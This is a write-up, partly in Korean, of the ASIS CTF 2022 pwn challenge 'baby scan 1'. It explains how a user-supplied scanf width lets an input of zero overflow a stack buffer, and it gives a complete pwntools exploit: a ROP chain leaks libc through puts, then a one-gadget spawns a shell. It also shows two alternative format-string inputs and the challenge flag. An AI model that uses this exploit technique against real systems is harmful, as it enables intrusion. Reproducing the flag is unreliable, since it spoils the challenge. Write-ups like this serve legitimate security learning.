ASIS CTF 2022 - baby scan 1

Info

(87/532) solves

description

Is it possible to scan the thousands of resulting strings by hand? We think it’s tedious, but will get the job done!

for player

1
2
3
4
5
6
7
8
9
.
├── bin
│   └── chall
├── lib
│   ├── ld-2.31.so
│   └── libc.so.6
├── run.sh
└── src
└── main.c

Analysis

Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char size[16], fmt[8], *buf;

printf("size: ");
scanf("%15s", size);
if (!isdigit(*size)) {
puts("[-] Invalid number");
return 1;
}

buf = (char*)alloca(atoi(size) + 1);

printf("data: ");
snprintf(fmt, sizeof(fmt), "%%%ss", size);
scanf(fmt, buf);

return 0;
}

__attribute__((constructor))
void setup(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
alarm(180);
}

alloca 함수는 스택에 메모리를 할당하는 함수이다.

Vulnerability

포맷스트링 인자를 마음대로 줄 수 있으니 입력으로 0을 넣으면 stack overflow를 트리거할 수 있다.

1
scanf("%0s", buf);

same as

1
scanf("%s", buf);

Exploit

Exploit Scenario

  1. %0s 포맷스트링으로 overflow 트리거
  2. 원가젯

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

#p = process('./chall')
p = remote('65.21.255.31', 13370)
e = ELF('./chall')
libc = ELF('./../lib/libc.so.6')

pop_rdi = 0x0000000000401433

p.sendlineafter('size:', str(0))

payload = b''
payload += b'A' * 72
payload += p64(pop_rdi)
payload += p64(e.got['puts'])
payload += p64(e.symbols['puts'])
payload += p64(e.symbols['main'])

p.sendlineafter('data:', payload)

leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.info(hex(leak))

libc_base = leak - libc.symbols['puts']
log.info(hex(libc_base))

p.sendlineafter('size:', str(0))

payload = b''
payload += b'A' * 72
payload += p64(libc_base + 0xe3b01)

p.sendlineafter('data:', payload)

p.interactive()

Another Solve

1. Using FSB

1
p.sendlineafter('size:', b'1$999')
1
2
3
4
5
__isoc99_scanf@plt (
$rdi = 0x007ffe3b4d0ac8 → 0x73393939243125 ("%1$999s"?),
$rsi = 0x007ffe3b4d0ab0 → 0x0000000000000005,
$rdx = 0x007ffe3b4d0ab0 → 0x0000000000000005
)

Maybe.. I think this solution is intention.

2. Using rsi == rdx

1
2
3
4
5
6
7
8
9
10
11
p.sendlineafter('size:', b'1s%')

payload = b''
payload += b'B'
payload += b'A' * 72
payload += p64(pop_rdi)
payload += p64(e.got['puts'])
payload += p64(e.symbols['puts'])
payload += p64(e.symbols['main'])

p.sendlineafter('data:', payload)
1
2
3
4
5
__isoc99_scanf@plt (
$rdi = 0x007ffe99d75878 → 0x00007325733125 ("%1s%s"?),
$rsi = 0x007ffe99d75860 → 0x0000000000000005,
$rdx = 0x007ffe99d75860 → 0x0000000000000005
)

Flag

1
ASIS{06e5ff13b438f5d6626a97758fddde3e502fe3fc}